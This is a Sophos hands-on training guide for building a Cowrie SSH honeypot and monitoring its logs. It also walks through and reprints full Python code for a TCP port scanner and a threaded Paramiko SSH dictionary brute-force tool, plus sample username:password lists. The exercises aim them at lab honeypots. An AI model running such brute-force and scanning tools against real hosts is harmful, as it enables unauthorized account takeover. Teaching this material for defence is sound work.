SOPHOS
Security made simple.

Sweet Temptations: How To Catch the Hackers

By Matt Boddy @infosecboddy

Date: Jun 2019 Version 1.3

Contents

Introduction

Created by: *Matt Boddy – Sophos Senior Sales Engineer*

Purpose: The purpose of this training is to increase skills and arsenal for the intended user to help their customers stay secure.

What you'll learn: During this training session, you'll learn how to:

- Setup an SSH honeypot server using Cowrie, an open source tool for Linux
- Monitor the login attempts to this honeypot server
- Port scan an SSH honeypot, writing your port scan using Python for maximum understanding
- Brute force into your SSH honeypot using a Python script once again to help with the understanding of how a scripted brute force attack may work

Acknowledgements

I'd like to acknowledge the fantastic work by the developers of the Cowrie honeypot who make this training possible. More details on the project available here https://github.com/cowrie/cowrie

Prerequisites

Please make sure that before you start you have the following installed and configured on your machine:

- Python3 https://www.python.org/downloads/
- An IDE for Python3 (I'm using IDLE for simplicity since it's included in the default Windows install)
- A method to SSH (e.g. Powershell, Putty, Bash, Mac command line etc.)
- Pip (included by default in the Windows install)

Disclaimer

The intended purpose of this guide is to help teach you how to setup a honeypot, honeypots can be dangerous when not maintained and configured properly. We strongly advise that you do your own research and make sure that security is kept at the forefront of your mind before setting this up in a production environment. Sophos will not take any legal responsibility for the miss use of this guide hereafter.

Port scanning and brute force attacks are illegal where permission to do so is not obtained. Please make sure that you have permission before attempting to perform any of the tasks in the python scripts associated to this guide.

Credentials

The credentials to login to your Ubuntu instance hosted in Azure will be provided to you individually.

IP address: ____

Username: ____

Password: ____

For safety and security reasons, your Ubuntu server will be spun down immediately after this course and is only accessible from the Sophos offices.

Intro to Ubuntu Linux Command line (skip if already proficient)

Please SSH to your Azure hosted Ubuntu server using the IP address, username and password combo provided to you in the introduction to this guide. Now to please feel free to play around with the below commands.

cd

In order to navigate through the Linux directory you will be using the command *cd*. CD stands for change directory and it does exactly what its name suggests. After typing cd you're able to type the file path of the directory you'd like to be placed within, you'll then be able to see and interact with any of the files in that location.

Example: `cd /home/users/user/`

The two full stops ".." are representative of going up one directory and a single full stop "." is representative of the current directory

Example: `cd ..`

will go one directory higher. For example if I'm in /home/users/user/, after running this command I'll end up in /home/users/

```
cd .
```

will remain in the existing directory.

ls

ls stands for list segments, it's a way of showing all the files and folders which exist within the current directory (or a specified directory). Now that we've changed our directory to the users home directory (in the cd example command) we can now list everything which exists in that directory.

Example: `ls`

<all files in /home/users/user>

man

man is short for manual, and just like building furniture from an unnamed Swedish store, sometimes you've got to refer to it. Any command which you type in Linux will have it's own manual, to refer to the manual just type man followed by the command you'd like to understand.

Example: `man ls`

<manual for list segments (ls) pops up to help you understand all of your options>

sudo

sudo is a command used to escalate your privileges from the user level to that of the administrator. If your user is within the sudoers file (it must be put there by a systems administrator) then you'll have the permission to run programs with higher privileges.

Example: `sudo apt install python3`

Python3 will now install on the system

apt

(please avoid installing anything unnecessary on your server since it will end up slowing the box down) apt is a command used to manage the programs you've installed on the system. It can be used to install a program as shown above with Python3 by typing the command apt install (followed by the program you'd wish to install). It calls upon specified internet repositories to allow the install of a program or function you wish to use.

Nano

Nano is a simple command line text editor for Linux. You can type nano followed by the name of a file to edit the text it stores, or you can type the name of a new file and that file will be automatically created.

Example: `nano test.txt`

Test.txt will be created in the current directory

Task 1 - Setting up your Cowrie honeypot

Please SSH to your Azure hosted Ubuntu server using the IP address, username and password combo provided to you in the introduction to this guide.

Task 1.1 - Changing the port which SSH runs on

Instructions		Notes
On Ubuntu Azure VM		
1	`sudo nano /etc/ssh/sshd_config`	First off, in order to make our honeypot realistic, since we'll be hosting the honeypot server using port 22, we need to change our current port number for SSH from port 22.

2	Change to port `443`. Your config should now include this:
	`# What ports, IPs and protocols we listen for`
	`Port 443`
		Where sshd_config says
		`# What ports, IPs and protocols we listen for`
		`Port 22`
		You're chaging this to port 443

3	`ctrl` and `X`	Exit out of the config file
4	select `Y`	Save
5	hit `return`	Agree to keep the file name the same

6	`sudo service ssh restart`	Now restart the SSH service to make your changes take affect
7	Now make sure you close your existing session	

Task 1.2 - Installing dependencies and prepping for Cowrie install

	Instructions	Notes
	On Ubuntu Azure VM	
8	Now SSH back onto your device using the new port which we've setup.	
9	`sudo apt update`	
10	`sudo apt install -y git python-virtualenv libssl-dev libffi-dev build-essential libpython-dev python2.7-minimal authbind`	Here we're installing all of the necessary packages for the Cowrie install
11	`sudo adduser --disabled-password cowrie`	Now that we've downloaded the packages required for our honeypot we'll create a separate account that the cowrie honeypot will be running from, and change to that user.
12	Hit return 5 times to leave the user defaults. Also make sure you press y and hit return to confirm and save those user details.	
13	`sudo su – cowrie`	Now we change to the cowrie user profile

Task 1.3 - Downloading and installing Cowrie

Instructions	Notes
On Ubuntu Azure VM	

14	`git clone http://github.com/micheloosterhof/cowrie`	Download the Cowrie installation files
15	`cd cowrie`	Change into the downloaded directory
16	`virtualenv cowrie-env`	Start a virtual environment to launch the Cowrie honeypot within
17	`source cowrie-env/bin/activate`	
18	`pip install --upgrade pip`	
19	`pip install --upgrade -r requirements.txt`	Install the required files for the cowrie honeypot to run. By default these are stored in the requirements.txt document.

Task 1.4 - Configuring Cowrie

	Instructions	Notes
	On Ubuntu Azure VM	
20	`cd etc`	Change to the etc directory within the cowrie honeypot directory structure
21	`cp cowrie.cfg.dist cowrie.cfg`	Lets start by copying the config files to the correct locations
22	`cp userdb.example userdb.txt`	
23	`nano cowrie.cfg`	We'll now go into the cowrie honeypot config file.

24	`# Hostname for the honeypot. Displayed by the shell prompt of the virtual`
	`# environment`
	`#`
	`# (default: svr04)`
	`hostname = AWS_USEast1`
		it should have a field called hostname which will look a little like this. Change it to whatever you'd like, this will be the pretend hostname of your device which is displayed to the puny hacker which attempts to get onto your box.
		My example on the left hand side attempts to emulate the naming convention you may use on an AWS server.

25	`ctrl` and `X`	To exit out of the config file
26	select `Y`	To Save the config
27	`nano userdb.txt`	We'll now change the userdb.txt file to edit the usernames and passwords we'll allow to login to our fake system.

28	`root:x:!root`
	`root:x:!123456`
	`root:x:!/honeypot/i`
	`root:x:*`
	`tomcat:x:*`
	`oracle:x:*`
		Your userdb.txt configuration will look something like this (with some extra comments above it):

29	`root:x:supersecretpassword`
	`root:x:password123456`
	`root:x:testaccount`
	`nagios:x:nagios`
	`elastic:x:elastic`
	`root:x:!*`
		Change the contents of this file however you'd like depending what usernames you'd like to be able to login to your fake system. Each line in the userdb.txt are organized as follows username:x:password, there are also some wildcards, * represents anything i.e. any username or any password and the exclamation mark demonstrates that the following is disallowed. I'm going to change my list to look a little something like this.

30	`ctrl` and `X`	To exit out of the config file
31	select `Y`	To Save the config
32	`../bin/cowrie start`	Now start your honeypot!!
33	`exit`	Exit out of the virtual environment and out of the Cowrie user.
34	`sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222`	Now that you've exited out of your virtual environment and of the user cowrie, you may realise that the honeypot isn't running as you'd expect. This is because it defaults to port 2222, we need to redirect any inbound request from port 22 (the expected port for SSH) to the cowrie port of 2222. We do this through IPTables which are firewall rules for Linux devices.
35	Info: As cowrie is an unprivileged user, they're not permitted on Linux to run any services on ports lower than 1024. We therefore setup this IPTables redirection as the root user to work around this user restriction, without giving the cowrie user unnecessary privileged access.	

36	`sudo apt install iptables-persistent`	To make sure that the firewall rule remains in place after your device is rebooted, we need to install iptables-persistent
37	Hit yes to the two questions iptables-persistent asks	

Task 5 - Monitoring cowrie logs

	Instructions	Notes
	On Ubuntu Azure VM	
38	`sudo su - cowrie`	On the SSH server, we'll have to go back into the cowrie user
39	`cd /home/cowrie/cowrie/var/log/cowrie`	Change the directory to the one where logs are stored
40	`ls`	We'll now list all files that are sitting in the logs folder. You'll notice that there are two files, the cowrie.json file and the cowrie.log file. Either of these can be passed back to a SIEM platform for general monitoring of the Cowrie platform for intrusion detection within an organisation.
41	`tail -f cowrie.log`	For this exercise, because it's more human readable, we'll print the cowrie.log file to the screen to see any intrusion attempts live as they're happening.
42	Leave this open and monitor it as we go to the next exercise.	

Task 6 - Running Python Scripts – port scanning

	Instructions	Notes
	On your PC	
43	Point your browser to https://github.com/mattboddy47/Cowrie-Honeypot-Training-Session	Here you'll find the python scripts in full ready for download.
44	Download all of the files ending in .py from the github page.	This should provide you with two scripts one which attempts to do a scan of available ports on a neighbours honeypot, the other which attempts to do a dictionary brute force attack into the device.
45	Now open IDLE or your alternative IDE for python3 and select to open an existing Python project. To do this we select file and open.	
46	Now select the first of the Python files you've just downloaded from Github "port scanner simple.py"	
47	The code will be displayed on the screen infront of you, press f5 to run it.	

48	`*******************************************`
	 `Port Scanner`
	 `*******************************************`
	 `Enter host to scan:`
	 Simply enter the ip address of a neighbours honeypot to make them your target.
		You'll now be presented with a screen which looks a little something like this. Enter your desired IP address and hit return.

49	And now this `Enter the first port you would like to scan:`	As the text suggests, enter the beginning port number of your scan and hit return. I'll be using 21.

50	And the final question will now appear `Enter the port you would like to stop scanning on:`	Simply type in the port which you'd like to stop scanning on and hit return. I'll be using 23 meaning that my scanner will only scan ports 21 and 22.
51	The script will now run, telling which ports are open and which are closed.	

Why does the scanner hang on closed ports?

Answer

Task 7 - Running the Python scripts – brute force

	Instructions	Notes
	On your PC	
52	`Windows key + R` and type `cmd` then hit return	Open up command prompt
53	`pip3 install paramiko`	Now on your personal device we'll install paramiko onto your system using pip. Please note that this won't work if pip isn't in your environment variables. If this is the case, you'll have to navigate to the directory which pip is installed within, on Windows it's located within the same directory you've installed Python, in a folder called scripts.

54	With paramiko installed, open IDLE or your alternative IDE for python3 and select file and open.	
55	Select the second of the Python files you've just downloaded from Github titled "Brute force SSH.py".	
56	The code will be displayed on the screen infront of you, press f5 to run it.	

57	`*******************************************`
	`SSH Brute Force`
	`*******************************************`
	`Dictionary should be in user:pass format`
	`Enter ssh host to brute force:`
		Having previously enumerated the host running SSH in the previous session where we port scanned a neighbours SSH honeypot device, type in that same IP address here.

58	Enter dictionary file path:	The script will now expect the file path of a dictionary of usernames and passwords. Leave this window open and move onto the next step, we'll come back to it in a moment.
59	Open a text editor (notepad on windows will do)	
60	root:123456 root:pwned admin:password	Type in a set of usernames and passwords separated by a colon, each set separated by a return case and save this file to your preferred location.… it should look something like this.
61	Head back to your running Python script which should still be waiting for the answer and type in the location of this newly created dictionary and hit return	
62	You should now see that you're attempting to login to this device one by one with each of the previously specified usernames and passwords.	

Task 8 - Monitoring cowrie logs – revisited

Instructions	Notes

	On Ubuntu Azure VM	
63	Head back to your SSH server where you should still have the live tail of your cowrie logs running. You will see all of the login attempts to your honeypot collating here.	

What information do these login attempts contain?

Answer

Instructions		Notes
	On Ubuntu Azure VM	
64	Exit out of your tail logs using `ctrl` + `c`	Exit out of this tail log
65	`ls /home/cowrie/cowrie/var/log/cowrie`	

What could you do with these log files?

Answer

Optional Task 9 - Port scan using Python - Explained

At this point you should have already run these scripts. This section is here to teach you how these Python scripts were written and how they work. This should give you an inner understanding of how a port scan works.

	Instructions	Notes
	On your PC	
66	Now open idle or your alternative IDE for python3 and create a new Python project, to do this in Idle select file > new.	We're now going to write a script to scan the ports of our neighbor's honeypot. If you're not interested in learning about the python functionality which makes this possible, or if you get stuck, you can find the full python script without comments at the end of this document in the appendix which you can copy directly into your IDE and run.
67	Below is a script for the self-learner, if you'd like to understand how the Python script works and what each function does, read on in your own time.	

68	`from socket import *`	In order for this to work we'll have to import 'socket', a low-level networking interface which enables us to open connections to different ports on the remote device.

69	`print ("*******************************************")`
	`print ("Port Scanner")`
	`print ("*******************************************")`
		Now lets make the script look a little bit pretty by printing the name of the project to the screen.

70	`targetserver = input('Enter host to scan: ')`
	`PortLow = input('Enter the first port you would like to scan: ')`
	`PortHigh = input('Enter the port you would like to stop scanning on: ')`
		We will now set our variables of the target device, the lowest port we wish to scan and the highest port we wish to scan. On running the script these will accept an input including the details of the server you're wishing to scan.

71	`targetIP = gethostbyname(targetserver)`	We've got to translate the address stored in targetserver to a machine readable address. We do this using the gethostbyname function of socket and we'll store that in a variable named targetIP.
72	`print ('Ready to scan : ', targetIP)`	To validate that this process has worked correctly, we'll print the target IP address to the screen.

73	Info: Python is very sensitive to indentation, make sure you space out your code correctly with the correct indentation as it appears in the guide.	

74	
	```
	try:
	    PortLow = int(PortLow)
	    PortHigh = int(PortHigh)
	except ValueError:
	    print ("The input string is not a number, it's a string.  Please try again.")
	```
		We now implement a bit of input validation so that the PortLow and PortHigh variables don't go into meltdown if the user of the script inputs incorrect values.

75	`for i in range(PortLow, PortHigh):`	Now we begin the port scan. Using a for loop we start with the PortLow variable repeating the below code until we reach PortHigh.
76	`    s = socket(AF_INET, SOCK_STREAM)`	First of all we need to tell socket the format we'll be supplying it with the port number and IP address. By using SOCK_STREAM, we're telling the scan to use TCP.
77	`    # s.settimeout(0.5)`	We now add a piece of code which is going to be commented out, the reason for this will become clear later.
78	`    result = s.connect_ex((targetIP, i))`	Now we tell our script to connect to our supplied IP address using the variable i. i represents each port which we're iterating through in the range of ports supplied in the loop.

79	
	```
	    if(result == 0) :
	        print ('Port %d: OPEN' % (i,))
	    else:
	        print('Port %d: CLOSED' % (i,))
	```
		At this point we have an if condition.
		If the result of this connection attempt is equal to 0 it means that the connection was successful,if the connection attempt returns anything else then the port is closed.

80	<pre> s.close()</pre>	We're now done with this connection supplied by socket, so we gracefully close it off.

81	
	```
	print ('***********************************************')
	print ("Scanning complete")
	print ('***********************************************')
	```
		To make our script look pretty, we close off with a message to tell the user that the scan loop has completed.

82	Now run this code (f5 in idle), this will prompt you to put in your target honeypot's IP address, the start and finish ports of your scan (recommended to aim to scan 21 to 23. The plan is to scan your own honeypot or your neighbours honeypot (with their permission).	

Why does the scanner hang on closed ports?

Answer

You may notice that there is a piece of code commented out with a #. Uncomment this by deleting the #, what do you see happening now and why?

Answer

Optional Task 10 - Brute force attack using Python - Explained

Since we're using Python version 3, make sure that you run the relevant version of pip. If you're on a Mac or have Python 2 installed you may need to specify pip3. Ask for help if you need it.

	Instructions	Notes
	On your PC	
83	`pip3 install paramiko`	Now on your personal device we'll install paramiko onto your system using pip. Please note that this won't work if pip isn't in your environment variables. If this is the case, you'll have to navigate to the directory which pip is installed within, on Windows it's located within the same directory you've installed Python, in a folder called scripts.

84	`import paramiko, time, threading`	We import paramiko into this script. Paramiko is an implementation of the SSHv2 protocol available in Python capable of providing both client and server functionality. We import time to introduce delays after each login attempt and threading to make sure that the login attempts are performed logically in their own thread.

85	`print ("*******************************************")`
	`print ("SSH Brute Force")`
	`print ("*******************************************")`
	`print ("Dictionary should be in user:pass format")`
		Lets start by making the screen look pretty by printing an introduction to the script.

86	`def attempt(IP,attemptUsername,attemptPassword):`	We'll now setup the SSH connection in a separate Python function. This function we can call from the main method on a loop to repeat for every username and password in the provided dictionary. The function will be expecting to be passed an IP address, username and password.
87	`    ssh = paramiko.SSHClient()`	To start we'll initialize the paramiko SSH client and store it in the variable ssh.

88	`ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())`	Setup our ssh client to automatically accept and add unknown keys from the remote ssh server.

89	`try:`
	`    ssh.connect(IP, username=attemptUsername, password=attemptPassword)`
	`except paramiko.AuthenticationException:`
	`    print ('[-] %s:%s fail!' % (attemptUsername, attemptPassword))`
	`else:`
	`    print ('[!] %s:%s is CORRECT!' % (attemptUsername, attemptPassword))`
	`ssh.close()`
	`return`
		Now within a try catch block, we'll attempt to connect to the supplied IP address using the username and password also supplied. The except will flag if the authentication to this server fails, providing us with the information that this set of credentials has failed. If there is no authentication exception raised however, the word CORRECT! Will be printed proceeded by the username and password which were successful.

90	`ip=input('Enter ssh host to brute force: ')`
	`filename=input('Enter dictionary file path: ')`
		We'll now start by gathering the information necessary to perform the attack, the IP address of the target and the list of usernames and passwords.

91	`fd = open(filename, "r")`
	`print ('[+] Bruteforcing against %s with dictionary %s' % (ip, filename))`
		Open the dictionary file of usernames and passwords with read access and tell the user what about to commence.

92	`for line in fd.readlines():`	We now start our for loop where for each line in the dictionary the loop will run the following code.

93	`    username, password = line.strip().split(":")`	We need to split each line where there's a colon to separate the username from the password.

94	`    t = threading.Thread(target=attempt,`
	`args=(ip,username,password))`
	`    t.start()`
		Now we start a new thread to run our previously defined function using the IP, username and password obtained in the previous variables.

95	`    time.sleep(0.3)`	Lastly we sleep for 0.3 of a second before attempting the next username.
96	`fd.close()`	Now we can gracefully close the dictionary.
97	Now run this code (f5 in idle), you'll be prompted to input the host you're trying to brute force into and the location of the dictionary attack you'll be using.	
98	`username:password` `username:password`	The dictionary file must be structured as follows

99	`root:123456`
	`root:Password1`
	`admin:admin`
		A username followed by a password separated by a colon with a case return between each attempt. An example of how your dictionary may look is as follows:

10(	Give it a try against your neighbours honeypot, see if you can figure out which username and password combos they've allowed.	

Appendix

Python Port Scan – full code

```
from socket import *
```

```
print ("********************************************")
print ("Port Scanner")
print ("********************************************")

targetserver = input('Enter host to scan: ')
PortLow = input('Enter the first port you would like to scan: ')
PortHigh = input('Enter the port you would like to stop scanning on: ')

targetIP = gethostbyname(targetserver)
print ('Ready to scan : ', targetIP)



try:
    PortLow = int(PortLow)
    PortHigh = int(PortHigh)
except ValueError:
    print ("The input string is not a number, it's a string.  Please 
try again.")

for i in range(PortLow, PortHigh):
    s = socket(AF_INET, SOCK_STREAM)
    # To prevent the script hanging on ports which are dropping packets
    # Uncomment the next line of code
    # s.settimeout(0.5)
    result = s.connect_ex((targetIP, i))
    if(result == 0) :
        print ('Port %d: OPEN' % (i,))
    else:
        print('Port %d: CLOSED' % (i,))
    s.close()

print ('************************************************')
print ("Scanning complete")
print ('************************************************')
```

Brute force SSH – full code

```
import paramiko, time, threading

print ("*******************************************")
print ("SSH Brute Force")
print ("*******************************************")

print ("Dictionary should be in user:pass format")



def attempt(IP,attemptUsername,attemptPassword):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(IP, username=attemptUsername,
password=attemptPassword)
    except paramiko.AuthenticationException:
        print ('[-] %s:%s fail!' % (attemptUsername, attemptPassword))
    else:
        print ('[!] %s:%s is CORRECT!' % (attemptUsername,
attemptPassword))
    ssh.close()
    return


ip=input('Enter ssh host to brute force: ')
filename=input('Enter dictionary file path: ')

fd = open(filename, "r")
print ('[+] Bruteforcing against %s with dictionary %s' % (ip,
filename))
for line in fd.readlines():
    username, password = line.strip().split(":")
    t = threading.Thread(target=attempt, args=(ip,username,password))
    t.start()
    time.sleep(0.3)
```

```
fd.close()
```